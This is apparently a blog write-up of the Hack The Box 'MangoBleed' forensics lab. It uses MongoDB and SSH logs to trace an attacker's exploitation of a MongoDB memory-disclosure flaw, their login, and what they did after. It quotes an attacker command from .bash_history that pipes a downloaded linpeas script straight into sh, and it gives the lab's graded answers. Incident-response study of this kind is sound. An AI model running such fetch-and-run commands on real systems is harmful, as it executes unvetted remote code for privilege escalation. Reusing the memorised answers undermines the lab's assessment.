

app.hackthebox.com/sherlocks/MangoBleed

This sherlock provides experience with forensics and incident response pertaining to the MangoBleed Vulnerability (A heap-memory disclosure vulnerability in MongoDB Server). This vulnerability comes from the server's zlib compression handling logic.

What is the version of MongoDB installed on the server that the CVE exploited?

```
(b@brick)~[~/.../root]/var/log/mongodb
$ grep -m 1 version mongod.log
{"t":{"$date":"2025-12-29T05:11:47.713+00:00"},"s":"I", "c":"CONTROL", "id":23403, "ctx":"initandlisten","msg":"Build Info","attr":{"buildInfo":{"version":"8.0.16", "gitVersion":"ba70b6a13fda907977110bf46e6c8137f5de48f6", "opensslVersion":"OpenSSL 3.0.13 30 Jan 2024", "modules":[], "allocator":"tcmalloc-google", "environment":{"distmod":"debian12", "distarch":"x86_64", "target_arch":"x86_64"}}}}
```

I ran a quick grep, and found that the server is running version 8.0.16 .

Analyze the MongoDB logs to identify the attacker's remote IP address used to exploit the CVE

```
{ "t": { "$date": "2025-12-29T05:26:48.862+00:00" }, "s": "I", "c": "NETWORK", "id": 22943, "ctx": "listener", "msg": "Connection accepted", "attr": { "remote": "65.0.76.43:56573", "isLoadBalanced": false, "uuid": { "uuid": { "$uuid": "4c22a84a-387f-4888-bf00-61addf166336" } } }, "connectionId": 27043, "connectionCount": 1 }
{ "t": { "$date": "2025-12-29T05:26:48.863+00:00" }, "s": "I", "c": "NETWORK", "id": 22944, "ctx": "conn27043", "msg": "Connection ended", "attr": { "remote": "65.0.76.43:56573", "isLoadBalanced": false, "uuid": { "uuid": { "$uuid": "4c22a84a-387f-4888-bf00-61addf166336" } } }, "connectionId": 27043, "connectionCount": 0 }
```

A quick glance at the logs shows many repeated "Connection Accepted" and "Connection ended" logs milliseconds apart. There are many repetitions of this pattern associated with the IP 65.0.76.43. This behavior is consistent with MangoBleed, as attackers looking to exploit the vulnerability could send many compressed requests in rapid succession in attempts to retrieve as much residual data from previous operations as possible.

Based on the MongoDB logs, determine the exact date and time the attacker's exploitation activity began (the earliest confirmed malicious event)

To find this, I'll run a grep for the attacker's IP with `-m 1` to return only the first occurrence.

```
{ "t": { "$date": "2025-12-29T05:25:52.743+00:00" }, "s": "I", "c": "NETWORK", "id": 22943, "ctx": "listener", "msg": "Connection accepted", "attr": { "remote": "65.0.76.43:35340", "isLoadBalanced": false, "uuid": { "uuid":
```

```
{"$uuid":"099e057e-11c1-46ed-b129-a158578d2014"}}, "connectionId":1, "connectionCount":1}}
```

The attacker began the exploitation at 2025-12-29 5:25:52.

Using the MongoDB logs, calculate the total number of malicious connections initiated by the attacker.

We'll use the following command to grep the logs for "Connection accepted" where the IP is our attacker, then return the line count.

```
(b@brick)-[~/.../[root]/var/log/mongodb]
$ grep '"msg":"Connection accepted"' mongod.log | grep '65.0.76.43' | wc -l
37630
```

HTB is looking for 75260. I suspect this was just a typo when they asked for initialized connections, as 75260 would be all the connection initializations and disconnects.

When did the attacker successfully gain interactive hands-on remote access?

If we grep the auth.log, we should be able to find when the attacker successfully authenticated.

```
grep 65.0.76.43 auth.log
```

Returns many results, but one stands out:

```
2025-12-29T05:40:03.475659+00:00 ip-172-172-31-38-170 sshd[39962]: Accepted keyboard-interactive/pam for mongoadmin
from 65.0.76.43 port 46062 ssh231-38-170 sshd[39962]: Accepted keyboard-
interactive/pam for mongoadmin from 65.0.76.43 port 46062 ssh2
```

We can see that the attacker's IP successfully logged into the mongoadmin account on 2025-12-29 at 5:40:03.

Identify the exact command line the attacker used to execute an in-memory script as part of their privilege-escalation attempt.

```
.bash_history 250 bytes Plain text document 12/29/2025 [root]/home/mongoadmin
~/Documents/Zips/uac-mongodbsync-linux-triage/[root]/home/mongoadmin/.bash_history - Mousepad
File Edit Search View Document Help
1 | ls -la
2 | whoami
3 | curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
```

By opening up `.bash_history` for the `mongoadmin` account, we can see the recent commands run. In here, we immediately spot the answer: curling linpeas, a popular privilege escalation script for use on Linux systems.

The attacker was interested in a specific directory and also opened a Python web server, likely for exfil purposes. Which directory was the target?

In the same document, we can see the attackers went into `cd /var/lib/mongodb/`, where they then hosted a python web server.

This concludes the MangoBleed sherlock. It had been a while since I sat down to do a sherlock, so this was a fun ease back into it, and a great poke around MongoDB logs.